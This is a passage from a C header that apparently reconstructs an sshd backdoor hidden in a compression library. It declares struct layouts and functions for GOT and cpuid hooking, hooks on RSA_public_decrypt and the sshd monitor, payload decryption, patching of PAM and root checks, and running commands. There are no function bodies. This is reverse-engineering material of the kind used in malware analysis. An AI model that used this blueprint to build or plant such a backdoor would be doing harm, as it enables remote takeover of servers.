assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_random_symbol_got_offset, 0);
assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_got_index, 0x8);
assert_offset(backdoor_cpuid_reloc_consts_t, backdoor_init_stage2_got_offset, 0x10);
static_assert(sizeof(backdoor_cpuid_reloc_consts_t) == 0x18);
 
typedef struct __attribute__((packed)) backdoor_tls_get_addr_reloc_consts {
    ptrdiff_t tls_get_addr_plt_offset;
    ptrdiff_t tls_get_addr_random_symbol_got_offset;
} backdoor_tls_get_addr_reloc_consts_t;
 
assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_plt_offset, 0);
assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_random_symbol_got_offset, 0x8);
static_assert(sizeof(backdoor_tls_get_addr_reloc_consts_t) == 0x10);
 
typedef struct __attribute__((packed)) elf_functions {
    PADDING(sizeof(u64));
    int (*init_hook_functions)(backdoor_hooks_ctx_t *funcs);
    PADDING(sizeof(u64));
    PADDING(sizeof(u64));
    void *(*elf_symbol_get_addr)(elf_info_t *elf_info, EncodedStringId encoded_string_id);
    PADDING(sizeof(u64));
    BOOL (*elf_parse)(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
} elf_functions_t;
 
assert_offset(elf_functions_t, init_hook_functions, 0x8);
assert_offset(elf_functions_t, elf_symbol_get_addr, 0x20);
assert_offset(elf_functions_t, elf_parse, 0x30);
static_assert(sizeof(elf_functions_t) == 0x38);
 
typedef struct __attribute__((packed)) fake_lzma_allocator {
    PADDING(sizeof(u64));
    lzma_allocator allocator;
} fake_lzma_allocator_t;
 
assert_offset(fake_lzma_allocator_t, allocator.alloc, 0x8);
assert_offset(fake_lzma_allocator_t, allocator.free, 0x10);
assert_offset(fake_lzma_allocator_t, allocator.opaque, 0x18);
static_assert(sizeof(fake_lzma_allocator_t) == 0x20);
 
typedef struct __attribute__((packed)) instruction_search_ctx
{
    u8 *start_addr;
    u8 *end_addr;
    u8 *offset_to_match;
    u32 *output_register_to_match;
    u8 *output_register; // TODO unknown
    BOOL result;
    PADDING(0x4);
    backdoor_hooks_data_t *hooks;
    imported_funcs_t *imported_funcs;
} instruction_search_ctx_t;
 
assert_offset(instruction_search_ctx_t, start_addr, 0);
assert_offset(instruction_search_ctx_t, end_addr, 0x8);
assert_offset(instruction_search_ctx_t, offset_to_match, 0x10);
assert_offset(instruction_search_ctx_t, output_register_to_match, 0x18);
assert_offset(instruction_search_ctx_t, output_register, 0x20);
assert_offset(instruction_search_ctx_t, result, 0x28);
assert_offset(instruction_search_ctx_t, hooks, 0x30);
assert_offset(instruction_search_ctx_t, imported_funcs, 0x38);
static_assert(sizeof(instruction_search_ctx_t) == 0x40);
 
 
extern BOOL sshd_proxy_elevate(monitor_data_t *args, global_context_t *ctx);
 
extern BOOL x86_dasm(dasm_ctx_t *ctx, u8 *code_start, u8 *code_end);
 
extern BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx);
 
extern BOOL find_lea_instruction(u8 *code_start, u8 *code_end, u64 displacement);
 
extern BOOL find_instruction_with_mem_operand(
    u8 *code_start,
    u8 *code_end,
    dasm_ctx_t *dctx,
    void *mem_address
);
 
extern BOOL find_lea_instruction_with_mem_operand(
    u8 *code_start,
    u8 *code_end,
    dasm_ctx_t *dctx,
    void *mem_address
);
 
extern BOOL find_add_instruction_with_mem_operand(
    u8 *code_start,
    u8 *code_end,
    dasm_ctx_t *dctx,
    void *mem_address
);
 
extern BOOL find_mov_lea_instruction(
    u8 *code_start,
    u8 *code_end,
    BOOL is_64bit_operand,
    BOOL load_flag,
    dasm_ctx_t *dctx
);
 
extern BOOL find_mov_instruction(
    u8 *code_start,
    u8 *code_end,
    BOOL is_64bit_operand,
    BOOL load_flag,
    dasm_ctx_t *dctx
);
 
extern BOOL find_instruction_with_mem_operand_ex(
    u8 *code_start,
    u8 *code_end,
    dasm_ctx_t *dctx,
    int opcode,
    void *mem_address
);
 
extern BOOL is_endbr64_instruction(u8 *code_start, u8 *code_end, u32 low_mask_part);
 
extern u8 *find_string_reference(
    u8 *code_start,
    u8 *code_end,
    const char *str
);
 
extern u8 *elf_find_string_reference(
    elf_info_t *elf_info,
    EncodedStringId encoded_string_id,
    u8 *code_start,
    u8 *code_end
);
 
extern BOOL find_reg2reg_instruction(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx);
 
extern BOOL find_function_prologue(u8 *code_start, u8 *code_end, u8 **output, FuncFindType find_mode);
 
extern BOOL find_function(
    u8 *code_start,
    void **func_start,
    void **func_end,
    u8 *search_base,
    u8 *code_end,
    FuncFindType find_mode);
 
extern BOOL elf_contains_vaddr(elf_info_t *elf_info, void *vaddr, u64 size, u32 p_flags);
 
extern BOOL elf_contains_vaddr_relro(elf_info_t *elf_info, u64 vaddr, u64 size, u32 p_flags);
 
extern BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
 
extern BOOL is_gnu_relro(Elf64_Word p_type, u32 addend);
 
extern BOOL main_elf_parse(main_elf_t *main_elf);
 
extern char *check_argument(char arg_first_char, char* arg_name);
 
extern BOOL process_is_sshd(elf_info_t *elf, u8 *stack_end);
 
extern BOOL elf_find_string_references(elf_info_t *elf_info, string_references_t *refs);
 
extern Elf64_Sym *elf_symbol_get(elf_info_t *elf_info, EncodedStringId encoded_string_id, EncodedStringId sym_version);
 
extern void *elf_symbol_get_addr(elf_info_t *elf_info, EncodedStringId encoded_string_id);
 
extern void *elf_get_code_segment(elf_info_t *elf_info, u64 *pSize);
 
extern void *elf_get_rodata_segment(elf_info_t *elf_info, u64 *pSize);
 
extern void *elf_get_data_segment(elf_info_t *elf_info, u64 *pSize, BOOL get_alignment);
 
extern void *elf_get_reloc_symbol(
    elf_info_t *elf_info,
    Elf64_Rela *relocs,
    u32 num_relocs,
    u64 reloc_type,
    EncodedStringId encoded_string_id);
 
extern void *elf_get_plt_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
 
extern void *elf_get_got_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
 
extern BOOL elf_find_function_pointer(
    StringXrefId xref_id,
    void **pOutCodeStart, void **pOutCodeEnd,
    void **pOutFptrAddr, elf_info_t *elf_info,
    string_references_t *xrefs,
    global_context_t *ctx);
 
extern char *elf_find_string(
    elf_info_t *elf_info,
    EncodedStringId *stringId_inOut,
    void *rodata_start_ptr);
 
extern lzma_allocator *get_lzma_allocator(void);
 
extern fake_lzma_allocator_t *get_lzma_allocator_address(void);
 
extern void *fake_lzma_alloc(void *opaque, size_t nmemb, size_t size);
 
extern void fake_lzma_free(void *opaque, void *ptr);
 
extern elf_functions_t *get_elf_functions_address(void);
 
extern BOOL secret_data_append_from_instruction(dasm_ctx_t *dctx, secret_data_shift_cursor_t *cursor);
 
extern BOOL secret_data_append_from_code(
    void *code_start,
    void *code_end,
    secret_data_shift_cursor_t shift_cursor,
    unsigned shift_count, BOOL start_from_call);
 
extern BOOL secret_data_append_item(
    secret_data_shift_cursor_t shift_cursor,
    unsigned operation_index,
    unsigned shift_count,
    int index, u8 *code);
 
extern BOOL secret_data_append_items(
    secret_data_item_t *items,
    u64 items_count,
    BOOL (*appender)(secret_data_shift_cursor_t, unsigned, unsigned, int, u8 *));
 
extern BOOL secret_data_append_from_address(
    void *addr,
    secret_data_shift_cursor_t shift_cursor,
    unsigned shift_count, unsigned operation_index);
 
extern BOOL secret_data_append_singleton(
    u8 *call_site, u8 *code,
    secret_data_shift_cursor_t shift_cursor,
    unsigned shift_count, unsigned operation_index);
 
extern BOOL secret_data_append_from_call_site(
    secret_data_shift_cursor_t shift_cursor,
    unsigned shift_count, unsigned operation_index,
    BOOL bypass
);
 
extern BOOL backdoor_setup(backdoor_setup_params_t *params);
 
extern void init_ldso_ctx(ldso_ctx_t *ldso_ctx);
 
extern unsigned int backdoor_entry(unsigned int cpuid_request, u64 *caller_frame);
 
extern void * backdoor_init(elf_entry_ctx_t *state, u64 *caller_frame);
 
extern void init_elf_entry_ctx(elf_entry_ctx_t *ctx);
 
extern void update_got_offset(elf_entry_ctx_t *ctx);
 
extern void update_cpuid_got_index(elf_entry_ctx_t *ctx);
 
extern BOOL backdoor_init_stage2(elf_entry_ctx_t *ctx, u64 *caller_frame, void **cpuid_got_addr, backdoor_cpuid_reloc_consts_t* reloc_consts);
 
extern BOOL resolve_libc_imports(
    struct link_map *libc,
    elf_info_t *libc_info,
    libc_imports_t *imports
);
 
extern BOOL process_shared_libraries(backdoor_shared_libraries_data_t *data);
 
extern BOOL process_shared_libraries_map(struct link_map *r_map, backdoor_shared_libraries_data_t *data);
 
extern BOOL chacha_decrypt(
    u8 *in, int inl,
    u8 *key, u8 *iv,
    u8 *out, imported_funcs_t *funcs
);
 
extern BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx);
 
extern BOOL is_range_mapped(u8* addr, u64 length, global_context_t* ctx);
 
extern u32 count_bits(u64 x);
 
extern EncodedStringId get_string_id(const char *string_begin, const char *string_end);
 
extern unsigned int _get_cpuid_modified(unsigned int leaf, unsigned int *eax, unsigned int *ebx,  unsigned int *ecx, unsigned int *edx, u64 *caller_frame);
 
extern void _cpuid_gcc(unsigned int level, unsigned int *a, unsigned int *b,  unsigned int *c, unsigned int *d);
 
extern int init_hooks_ctx(backdoor_hooks_ctx_t *ctx);
 
extern int init_shared_globals(backdoor_shared_globals_t *shared_globals);
 
extern BOOL init_imported_funcs(imported_funcs_t *imported_funcs);
 
extern void *update_got_address(elf_entry_ctx_t *entry_ctx);
 
extern ptrdiff_t get_tls_get_addr_random_symbol_got_offset(elf_entry_ctx_t *ctx);
 
typedef struct dl_tls_index
{
    uint64_t ti_module;
    uint64_t ti_offset;
} tls_index;
 
extern void *dummy_tls_get_addr (tls_index *ti);
 
extern uintptr_t backdoor_symbind64(
    Elf64_Sym *sym,
    unsigned int ndx,
    uptr *refcook, uptr *defcook,
    unsigned int flags,
    const char *symname);
 
extern BOOL run_backdoor_commands(RSA *key, global_context_t *ctx, BOOL *do_orig);
 
extern BOOL find_dl_audit_offsets(
    backdoor_data_handle_t *data,
    ptrdiff_t *libname_offset,
    backdoor_hooks_data_t *hooks,
    imported_funcs_t *imported_funcs);
 
extern BOOL find_link_map_l_name(
    backdoor_data_handle_t *data_handle,
    ptrdiff_t *libname_offset,
    backdoor_hooks_data_t *hooks,
    imported_funcs_t *imported_funcs);
 
extern BOOL find_dl_naudit(
    elf_info_t *dynamic_linker_elf,
    elf_info_t *libcrypto_elf,
    backdoor_hooks_data_t *hooks,
    imported_funcs_t *imported_funcs);
 
extern BOOL find_link_map_l_audit_any_plt(
    backdoor_data_handle_t *data,
    ptrdiff_t libname_offset,
    backdoor_hooks_data_t *hooks,
    imported_funcs_t *imported_funcs);
 
extern BOOL find_link_map_l_audit_any_plt_bitmask(
    backdoor_data_handle_t *data,
    instruction_search_ctx_t *search_ctx);
 
extern BOOL sshd_get_sensitive_data_address_via_xcalloc(
    u8 *data_start,
    u8 *data_end,
    u8 *code_start,
    u8 *code_end,
    string_references_t *string_refs,
    void **sensitive_data_out);
 
extern BOOL sshd_get_sensitive_data_address_via_krb5ccname(
    u8 *data_start,
    u8 *data_end,
    u8 *code_start,
    u8 *code_end,
    void **sensitive_data_out,
    elf_info_t *elf);
 
extern int sshd_get_sensitive_data_score_in_demote_sensitive_data(
    void *sensitive_data,
    elf_info_t *elf,
    string_references_t *refs);
 
extern int sshd_get_sensitive_data_score_in_main(
    void *sensitive_data,
    elf_info_t *elf,
    string_references_t *refs);
 
extern int sshd_get_sensitive_data_score_in_do_child(
    void *sensitive_data,
    elf_info_t *elf,
    string_references_t *refs);
 
extern int sshd_get_sensitive_data_score(
    void *sensitive_data,
    elf_info_t *elf,
    string_references_t *refs);
 
extern BOOL bignum_serialize(
    u8 *buffer, u64 bufferSize,
    u64 *pOutSize,
    const BIGNUM *bn,
    imported_funcs_t *funcs);
 
 
extern BOOL sshbuf_bignum_is_negative(struct sshbuf *buf);
 
extern BOOL rsa_key_hash(
    const RSA *rsa,
    u8 *mdBuf,
    u64 mdBufSize,
    imported_funcs_t *funcs);
 
extern BOOL dsa_key_hash(
    const DSA *dsa,
    u8 *mdBuf,
    u64 mdBufSize,
    global_context_t *ctx);
 
extern BOOL sha256(
    const void *data,
    size_t count,
    u8 *mdBuf,
    u64 mdBufSize,
    imported_funcs_t *funcs);
 
extern BOOL verify_signature(
    struct sshkey *sshkey,
    u8 *signed_data,
    u64 sshkey_digest_offset,
    u64 signed_data_size,
    u8 *signature,
    u8 *ed448_raw_key,
    global_context_t *global_ctx
);
 
extern BOOL sshd_patch_variables(
    BOOL skip_root_patch,
    BOOL disable_pam,
    BOOL replace_monitor_reqtype,
    int monitor_reqtype,
    global_context_t *global_ctx
);
 
extern BOOL sshd_find_monitor_struct(
    elf_info_t *elf,
    string_references_t *refs,
    global_context_t *ctx
);
 
extern BOOL sshd_find_main(
    u8 **code_start_out,
    elf_info_t *sshd,
    elf_info_t *libcrypto,
    imported_funcs_t *imported_funcs
);
 
extern BOOL sshd_find_monitor_field_addr_in_function(
    u8 *code_start,
    u8 *code_end,
    u8 *data_start,
    u8 *data_end,
    void **monitor_field_ptr_out,
    global_context_t *ctx
);
 
extern void *find_addr_referenced_in_mov_instruction(
    StringXrefId id,
    string_references_t *refs,
    void *mem_range_start,
    void *mem_range_end
);
 
extern BOOL validate_log_handler_pointers(
    void *addr1,
    void *addr2,
    void *search_base,
    u8 *code_end,
    string_references_t *refs,
    global_context_t *global
);
 
enum SocketMode {
    DIR_WRITE = 0,
    DIR_READ = 1
};
 
extern BOOL sshd_get_client_socket(
    global_context_t *ctx,
    int *pSocket,
    int socket_index,
    enum SocketMode socket_direction
);
 
extern BOOL sshd_get_usable_socket(int *pSock, int socket_index, libc_imports_t *imports);
 
extern BOOL sshd_get_sshbuf(struct sshbuf *sshbuf, global_context_t *ctx);
 
extern BOOL sshbuf_extract(struct sshbuf *buf, global_context_t *ctx, void **p_sshbuf_d, size_t *p_sshbuf_size);
 
extern BOOL extract_payload_message(
    struct sshbuf *sshbuf_data,
    size_t sshbuf_size,
    size_t *out_payload_size,
    global_context_t *ctx);
 
extern BOOL decrypt_payload_message(
    key_payload_t *payload,
    size_t payload_size,
    global_context_t *ctx);
 
extern BOOL check_backdoor_state(global_context_t *ctx);
 
extern int mm_answer_keyallowed_hook(struct ssh *ssh, int sock, struct sshbuf *m);
 
extern int mm_answer_keyverify_hook(struct ssh *ssh, int sock, struct sshbuf *m);
 
extern int mm_answer_authpassword_hook(struct ssh *ssh, int sock, struct sshbuf *m);
 
extern void mm_log_handler_hook(
    LogLevel level,
    int forced,
    const char *msg,
    void *ctx);
 
extern ssize_t fd_read(
    int fd, 
    void *buffer,
    size_t count,
    libc_imports_t *funcs);
 
extern ssize_t fd_write(
    int fd,
    void *buffer,
    size_t count,
    libc_imports_t *funcs);
 
extern BOOL contains_null_pointers(
    void **pointers,
    unsigned int num_pointers
);
 
extern BOOL count_pointers(
    void **ptrs,
    u64 *count_out, 
    libc_imports_t *funcs
);
 
extern BOOL sshd_configure_log_hook(cmd_arguments_t *cmd_flags, global_context_t *ctx);
 
extern int hook_RSA_public_decrypt(
    int flen, unsigned char *from,
    unsigned char *to, RSA *rsa, int padding);
 
extern void sshd_log(
    sshd_log_ctx_t *log_ctx,
    LogLevel level, const char *fmt, ...);
 
extern BOOL sshd_find_sensitive_data(
    elf_info_t *sshd,
    elf_info_t *libcrypto,
    string_references_t *refs,
    imported_funcs_t *funcs,
    global_context_t *ctx);
 
 
extern ssize_t c_strlen(
    char *str
);
 
extern ssize_t c_strnlen(
    char *str,
    size_t max_len
);
 
extern void* c_memmove(
    char *dest,
    char *src,
    size_t cnt
);
 
extern u32 resolver_call_count;
static_assert(sizeof(resolver_call_count) == 0x4);
 
extern global_context_t *global_ctx;
static_assert(sizeof(global_ctx) == sizeof(void *));
 
extern backdoor_hooks_data_t *hooks_data;
static_assert(sizeof(hooks_data) == sizeof(void *));
 
extern backdoor_hooks_data_t *hooks_data_addr;
static_assert(sizeof(hooks_data_addr) == 0x8);
 
extern const ptrdiff_t fake_lzma_allocator_offset;
static_assert(sizeof(fake_lzma_allocator_offset) == 0x8);
 
extern fake_lzma_allocator_t fake_lzma_allocator;
static_assert(sizeof(fake_lzma_allocator) == 0x20);
 
extern void *lzma_alloc(size_t size, lzma_allocator *allocator);
 
extern const ptrdiff_t elf_functions_offset;
static_assert(sizeof(elf_functions_offset) == 0x8);
 
extern const elf_functions_t elf_functions;
static_assert(sizeof(elf_functions) == 0x38);
 
extern const u64 cpuid_random_symbol;
static_assert(sizeof(cpuid_random_symbol) == 0x8);
 
extern const u64 tls_get_addr_random_symbol;
static_assert(sizeof(tls_get_addr_random_symbol) == 0x8);
 
extern const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts;
static_assert(sizeof(cpuid_reloc_consts) == 0x18);
 
extern const backdoor_tls_get_addr_reloc_consts_t tls_get_addr_reloc_consts;
static_assert(sizeof(tls_get_addr_reloc_consts) == 0x10);
 
extern const u64 string_mask_data[238];
static_assert(sizeof(string_mask_data) == 0x770);
 
extern const u32 string_action_data[1304];
static_assert(sizeof(string_action_data) == 0x1460);
 
#include "util.h"
#endif